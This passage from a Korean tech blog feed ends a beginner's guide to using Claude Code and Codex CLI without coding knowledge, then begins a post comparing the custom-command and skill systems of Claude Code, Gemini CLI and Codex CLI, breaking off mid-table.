&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;&gt; 작업 시작하기 전에 이 폴더를 backup 폴더로 복사해줘&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;이것도 자연어로 시키면 됩니다.&lt;/p&gt;
&lt;h3&gt;3. 프롬프트는 구체적일수록 좋습니다&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;❌ &quot;이 파일 정리해줘&quot;
✅ &quot;expenses.csv에서 2024년 3월 데이터만 추출해서 march-report.csv로 저장해줘. 금액 기준 내림차순으로 정렬하고.&quot;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;4. 모르겠으면 물어보세요&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;&gt; 이 폴더에 어떤 파일들이 있는지 먼저 알려줘
&gt; 이 CSV 파일의 구조(컬럼)를 설명해줘
&gt; 이걸 엑셀로 변환할 수 있어?&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Claude Code와 Codex 모두 &lt;strong&gt;대화형&lt;/strong&gt;이므로, 바로 작업을 시키지 않고 먼저 상황 파악을 요청해도 됩니다.&lt;/p&gt;
&lt;h3&gt;5. 비용 관리에 신경 쓰세요&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;사용 패턴&lt;/th&gt;
&lt;th&gt;권장 플랜&lt;/th&gt;
&lt;th&gt;월 비용&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;가끔 (주 1~2회)&lt;/td&gt;
&lt;td&gt;Pro / Plus&lt;/td&gt;
&lt;td&gt;~$20&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;매일 가볍게&lt;/td&gt;
&lt;td&gt;Pro / Plus&lt;/td&gt;
&lt;td&gt;~$20&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;매일 집중적으로&lt;/td&gt;
&lt;td&gt;Max&lt;/td&gt;
&lt;td&gt;~$100&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;헤비 유저&lt;/td&gt;
&lt;td&gt;Max / Pro (Codex)&lt;/td&gt;
&lt;td&gt;$100~200&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;특히 Claude Code Pro 플랜은 &lt;strong&gt;5시간 사용 제한&lt;/strong&gt;이 있으므로, 가벼운 작업 위주라면 충분하지만 하루 종일 붙잡고 있으면 금방 한도에 도달합니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;비개발자가 자주 하는 질문 (FAQ)&lt;/h2&gt;
&lt;h3&gt;Q. 터미널(명령 프롬프트)을 한 번도 써본 적이 없는데 괜찮을까요?&lt;/h3&gt;
&lt;p&gt;괜찮습니다. 필요한 명령어는 딱 세 개입니다:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;cd 폴더경로&lt;/code&gt; — 폴더 이동&lt;/li&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;claude&lt;/code&gt; 또는 &lt;code class=&quot;language-text&quot;&gt;codex&lt;/code&gt; — 도구 실행&lt;/li&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;exit&lt;/code&gt; — 종료&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;나머지는 전부 자연어로 대화하면 됩니다. VS Code 확장이나 데스크톱 앱을 쓰면 터미널 자체를 건드릴 일이 더 줄어듭니다.&lt;/p&gt;
&lt;h3&gt;Q. AI가 중요한 파일을 잘못 수정하면 어떡하죠?&lt;/h3&gt;
&lt;p&gt;Claude Code는 &lt;strong&gt;기본적으로 파일을 수정하기 전에 확인을 요청&lt;/strong&gt;합니다. &quot;이 파일을 이렇게 바꿔도 될까요?&quot;라고 물어보고, 사용자가 승인해야 실행됩니다. Codex CLI도 기본 모드에서는 동일합니다. 다만 Codex의 &lt;code class=&quot;language-text&quot;&gt;full-auto&lt;/code&gt; 모드는 확인 없이 바로 실행하므로, 비개발자는 기본 모드를 유지하는 것을 권장합니다.&lt;/p&gt;
&lt;h3&gt;Q. ChatGPT나 Claude 웹에서 하던 작업과 뭐가 다른가요?&lt;/h3&gt;
&lt;p&gt;가장 큰 차이는 &lt;strong&gt;내 컴퓨터의 파일에 직접 접근&lt;/strong&gt;할 수 있다는 점입니다. 채팅 인터페이스에서는 &quot;이런 코드를 만들어줘&quot;라고 하면 텍스트로 결과를 보여주기만 합니다. Claude Code나 Codex는 실제로 파일을 만들고, 기존 파일을 수정하고, 프로그램을 실행까지 해줍니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;마무리&lt;/h2&gt;
&lt;p&gt;&quot;코딩을 모르면 AI 에이전트 도구를 못 쓴다&quot;는 건 이제 옛말입니다. Claude Code와 Codex CLI는 &lt;strong&gt;자연어로 지시하면 내 컴퓨터에서 직접 작업을 수행하는 도구&lt;/strong&gt;이고, 그 지시에 코드가 필요하지 않습니다.&lt;/p&gt;
&lt;p&gt;시작이 어렵게 느껴지시면, 딱 하나만 해보세요:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token function&quot;&gt;npm&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;install&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-g&lt;/span&gt; @anthropic-ai/claude-code
claude
&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt; 이 폴더에 있는 파일들을 정리해서 목록 만들어줘&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;이 한 줄이 시작입니다. 한 번 경험하고 나면 &quot;이것도 시킬 수 있지 않을까?&quot; 하는 생각이 자연스럽게 따라올 겁니다.&lt;/p&gt;
&lt;p&gt;여러분은 AI 에이전트 도구를 어떤 업무에 활용하고 계신가요? 댓글로 공유해주세요!&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;&lt;strong&gt;관련 포스팅:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;./ai-coding-skills-comparison.md&quot;&gt;AI 코딩 도구 Skill 비교 — Claude Code vs Gemini CLI vs Codex CLI&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;참고 문서:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.anthropic.com/en/docs/claude-code&quot;&gt;Claude Code 공식 문서&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/openai/codex&quot;&gt;OpenAI Codex CLI 공식 문서&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[AI 코딩 도구 Skill 비교 — Claude Code vs Gemini CLI vs Codex CLI 커스텀 명령어 완전 정리]]></title><description><![CDATA[AI 코딩 도구 Skill 비교 커버 — Claude Code vs Gemini CLI vs Codex CLI 커스텀 명령어 안녕하세요, 자바파커입니다. "AI…]]></description><link>https://blog.javapark.kr/ai-coding-skills-comparison/</link><guid isPermaLink="false">https://blog.javapark.kr/ai-coding-skills-comparison/</guid><pubDate>Mon, 30 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;img src=&quot;https://github.com/javapark/blog-images/releases/download/images-v1/ai-coding-skills-comparison.png&quot; alt=&quot;AI 코딩 도구 Skill 비교 커버 — Claude Code vs Gemini CLI vs Codex CLI 커스텀 명령어&quot;&gt;&lt;/p&gt;
&lt;p&gt;안녕하세요, &lt;strong&gt;자바파커&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;AI 코딩 도구마다 커스텀 명령어 만드는 방식이 다르던데, 어떤 걸 써야 하죠?&quot;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;요즘 Claude Code, Gemini CLI, OpenAI Codex CLI 모두 &lt;strong&gt;반복 작업을 명령어 하나로 처리하는 기능&lt;/strong&gt;을 제공합니다. 이름은 조금씩 다르지만 핵심은 같습니다 — &lt;strong&gt;자주 하는 작업 지시를 파일로 저장해두고, 한 줄로 호출하는 것&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;결론부터 말씀드리면, 세 도구 모두 비슷한 목적을 달성하지만 &lt;strong&gt;설계 철학과 세부 구현이 꽤 다릅니다.&lt;/strong&gt; 직접 조사하고 비교해봤습니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;한눈에 보는 3사 비교표&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;구분&lt;/th&gt;
&lt;th&gt;Claude Code&lt;/th&gt;
&lt;th&gt;Gemini CLI&lt;/th&gt;
&lt;th&gt;Codex CLI (OpenAI)&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;커스텀 명령어&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Skill (&lt;code class=&quot;language-text&quot;&gt;SKILL.md&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;Custom Command (&lt;code class=&quot;language-text&quot;&gt;.toml&lt;/code&gt;) + Agent Skill (&lt;code class=&quot;language-text&quot;&gt;SKILL.md&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;Skill (&lt;code class=&quot;language-text&quot;&gt;SKILL.md&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;프로젝트 설정 파일&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;CLAUDE.md&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;GEMINI.md&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;AGENTS.md&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;호출 방식&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;/skill-name&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;/command-name&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;$skill-name&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;자동 호출&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;description 기반&lt;/td&gt;
&lt;td&gt;Agent Skill만 자동&lt;/td&gt;
&lt;td&gt;description 기반&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;파일 형식&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Markdown + YAML&lt;/td&gt;
&lt;td&gt;TOML (명령어) / Markdown (스킬)&lt;/td&gt;
&lt;td&gt;Markdown + YAML&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;쉘 명령 주입&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;!`command`&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;!{command}&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;미지원&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;서브에이전트 분리&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;context: fork&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;미지원&lt;/td&gt;
&lt;td&gt;미지원&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;스킬 배포/공유&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Git으로 공유&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;.skill&lt;/code&gt; 패키지, Extensions&lt;/td&gt;
&lt;td&gt;로컬 공유&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr&gt;
&lt;h2&gt;1. Claude Code — Skill&lt;/h2&gt;
&lt;p&gt;이전 포스팅에서 자세히 다뤘지만, 핵심만 짚겠습니다.&lt;/p&gt;
&lt;h3&gt;파일 구조&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;~/.claude/skills/blog-post/
├── SKILL.md          # 필수: 프론트매터 + 지시문
├── reference.md      # 선택: 상세 문서
└── scripts/
    └── helper.py     # 선택: 헬퍼 스크립트&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;SKILL.md 예시&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;yaml&quot;&gt;&lt;pre class=&quot;language-yaml&quot;&gt;&lt;code class=&quot;language-yaml&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;---&lt;/span&gt;
&lt;span class=&quot;token key atrule&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; blog&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;post
&lt;span class=&quot;token key atrule&quot;&gt;description&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; 블로그 포스팅 초안을 작성합니다
&lt;span class=&quot;token key atrule&quot;&gt;disable-model-invocation&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token boolean important&quot;&gt;true&lt;/span&gt;
&lt;span class=&quot;token key atrule&quot;&gt;allowed-tools&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; Read&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; Grep&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; Glob&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; WebSearch
&lt;span class=&quot;token punctuation&quot;&gt;---&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# 블로그 포스팅 작성 스킬&lt;/span&gt;

&lt;span class=&quot;token key atrule&quot;&gt;주제($ARGUMENTS)를 받으면&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
1. 아웃라인을 먼저 잡는다
2. WebSearch로 최신 정보 확인
3. 마크다운 초안 작성&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;호출&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;/blog-post Claude Code Skill 소개&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;Claude Code만의 강점&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code class=&quot;language-text&quot;&gt;context: fork&lt;/code&gt;&lt;/strong&gt; — 서브에이전트로 분리 실행해서 메인 대화가 오염되지 않음&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code class=&quot;language-text&quot;&gt;allowed-tools&lt;/code&gt;&lt;/strong&gt; — 스킬별로 사용 가능한 도구를 제한 가능&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code class=&quot;language-text&quot;&gt;disable-model-invocation&lt;/code&gt;&lt;/strong&gt; — 배포 같은 위험한 작업은 수동 호출만 허용&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code class=&quot;language-text&quot;&gt;!`command`&lt;/code&gt;&lt;/strong&gt; — 쉘 명령어 결과를 동적으로 프롬프트에 주입&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;2. Gemini CLI — Custom Command + Agent Skill&lt;/h2&gt;
&lt;p&gt;Gemini CLI는 커스텀 명령어 시스템을 &lt;strong&gt;두 가지로 분리&lt;/strong&gt;합니다.&lt;/p&gt;
&lt;h3&gt;(1) Custom Command — 간단한 슬래시 명령어&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;TOML 파일&lt;/strong&gt;로 작성합니다. Claude Code나 Codex와 달리 마크다운이 아니라 TOML입니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;~/.gemini/commands/commit.toml&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;toml&quot;&gt;&lt;pre class=&quot;language-toml&quot;&gt;&lt;code class=&quot;language-toml&quot;&gt;&lt;span class=&quot;token key property&quot;&gt;description&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;Git 커밋 메시지를 자동 생성합니다&quot;&lt;/span&gt;
&lt;span class=&quot;token key property&quot;&gt;prompt&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;&quot;&lt;/span&gt;&quot;
다음 diff를 기반으로 Conventional Commit 메시지를 생성해주세요:

```diff
!&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;git diff --staged&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&quot;&quot;&quot;&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;
호출:
```bash
/commit&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;핵심 문법:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;!{command}&lt;/code&gt; — 쉘 명령어 실행 후 결과 주입&lt;/li&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;{{args}}&lt;/code&gt; — 사용자 인자 전달&lt;/li&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;@{파일경로}&lt;/code&gt; — 파일/이미지/PDF 내용 주입 (멀티모달 지원)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;하위 폴더로 네임스페이스도 지원합니다:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;.gemini/commands/git/commit.toml  →  /git:commit&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;(2) Agent Skill — 자동 활성화되는 전문 지식&lt;/h3&gt;
&lt;p&gt;Custom Command와 별도로, &lt;strong&gt;모델이 자동으로 판단해서 활성화하는 스킬 시스템&lt;/strong&gt;이 있습니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;.gemini/skills/code-reviewer/
├── SKILL.md
├── scripts/
└── references/&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;yaml&quot;&gt;&lt;pre class=&quot;language-yaml&quot;&gt;&lt;code class=&quot;language-yaml&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;---&lt;/span&gt;
&lt;span class=&quot;token key atrule&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; code&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;reviewer
&lt;span class=&quot;token key atrule&quot;&gt;description&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; 코드 리뷰를 수행합니다. 로컬 변경사항과 원격 PR 모두 지원합니다.
&lt;span class=&quot;token punctuation&quot;&gt;---&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# Code Reviewer&lt;/span&gt;
이 스킬은 체계적인 코드 리뷰를 수행합니다.

&lt;span class=&quot;token comment&quot;&gt;## 워크플로우&lt;/span&gt;
1. 리뷰 대상 파악 (PR 번호 또는 로컬 변경사항)
2. 코드 분석
3. 리뷰 코멘트 생성&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;토큰 효율이 좋은 설계:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;세션 시작 시 이름+설명만 로드&lt;/li&gt;
&lt;li&gt;관련 작업이 감지되면 &lt;code class=&quot;language-text&quot;&gt;activate_skill&lt;/code&gt; 호출&lt;/li&gt;
&lt;li&gt;그때서야 전체 SKILL.md 본문이 컨텍스트에 주입&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;관리 명령어:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;/skills list
/skills disable code-reviewer
gemini skills &lt;span class=&quot;token function&quot;&gt;install&lt;/span&gt; https://github.com/&lt;span class=&quot;token punctuation&quot;&gt;..&lt;/span&gt;.&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;Gemini CLI만의 강점&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;TOML 기반 Command&lt;/strong&gt; — 간단한 명령어는 3줄이면 완성&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code class=&quot;language-text&quot;&gt;@{파일경로}&lt;/code&gt;&lt;/strong&gt; — 이미지, PDF 등 멀티모달 파일을 프롬프트에 바로 주입&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Progressive Disclosure&lt;/strong&gt; — Agent Skill은 필요할 때만 전체 로드 (토큰 절약)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Extensions 시스템&lt;/strong&gt; — 스킬을 패키지로 묶어 설치/배포 가능&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;3. Codex CLI (OpenAI) — Skill&lt;/h2&gt;
&lt;p&gt;Codex CLI의 Skill 시스템은 구조적으로 Claude Code와 가장 비슷합니다.&lt;/p&gt;
&lt;h3&gt;파일 구조&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;.agents/skills/fix-issue/
├── SKILL.md          # 필수: 지시문
├── scripts/          # 선택: 실행 스크립트
├── references/       # 선택: 참고 문서
└── agents/
    └── openai.yaml   # 선택: UI 메타데이터&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;SKILL.md 예시&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;yaml&quot;&gt;&lt;pre class=&quot;language-yaml&quot;&gt;&lt;code class=&quot;language-yaml&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;---&lt;/span&gt;
&lt;span class=&quot;token key atrule&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; fix&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;issue
&lt;span class=&quot;token key atrule&quot;&gt;description&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; GitHub 이슈를 분석하고 코드를 수정합니다
&lt;span class=&quot;token punctuation&quot;&gt;---&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# Fix Issue&lt;/span&gt;

&lt;span class=&quot;token key atrule&quot;&gt;이슈 번호를 받으면&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
1. 이슈 내용 분석
2. 관련 코드 탐색
3. 수정 구현
4. 테스트 작성&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;호출&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token variable&quot;&gt;$fix&lt;/span&gt;-issue &lt;span class=&quot;token number&quot;&gt;42&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Claude Code의 &lt;code class=&quot;language-text&quot;&gt;/&lt;/code&gt; 대신 &lt;code class=&quot;language-text&quot;&gt;$&lt;/code&gt; 기호를 사용합니다.&lt;/p&gt;
&lt;h3&gt;스킬 저장 위치&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;범위&lt;/th&gt;
&lt;th&gt;경로&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;저장소 (CWD)&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;.agents/skills/&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;저장소 (루트)&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;$REPO_ROOT/.agents/skills/&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;사용자&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;$HOME/.agents/skills/&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;시스템&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;/etc/codex/skills/&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;번들&lt;/td&gt;
&lt;td&gt;Codex 내장&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;Codex CLI만의 강점&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code class=&quot;language-text&quot;&gt;openai.yaml&lt;/code&gt; 메타데이터&lt;/strong&gt; — 아이콘, 브랜드 색상 등 UI 커스터마이징&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;MCP 의존성 선언&lt;/strong&gt; — 스킬에서 필요한 MCP 도구를 명시적으로 선언&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;5단계 스코프&lt;/strong&gt; — CWD → 저장소 루트 → 사용자 → 관리자 → 시스템까지 세분화&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;30+ 내장 슬래시 명령어&lt;/strong&gt; — &lt;code class=&quot;language-text&quot;&gt;/plan&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;/diff&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;/compact&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;/review&lt;/code&gt; 등&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;프로젝트 설정 파일 비교 — CLAUDE.md vs GEMINI.md vs AGENTS.md&lt;/h2&gt;
&lt;p&gt;스킬과 함께 알아두면 좋은 게 &lt;strong&gt;프로젝트 설정 파일&lt;/strong&gt;입니다. 세 도구 모두 &quot;프로젝트 전체에 적용되는 규칙&quot;을 마크다운 파일로 관리합니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;구분&lt;/th&gt;
&lt;th&gt;Claude Code&lt;/th&gt;
&lt;th&gt;Gemini CLI&lt;/th&gt;
&lt;th&gt;Codex CLI&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;파일명&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;CLAUDE.md&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;GEMINI.md&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;AGENTS.md&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;위치&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;프로젝트 루트 + 하위 디렉토리&lt;/td&gt;
&lt;td&gt;프로젝트 루트 + 하위 디렉토리&lt;/td&gt;
&lt;td&gt;프로젝트 루트 + 하위 디렉토리&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
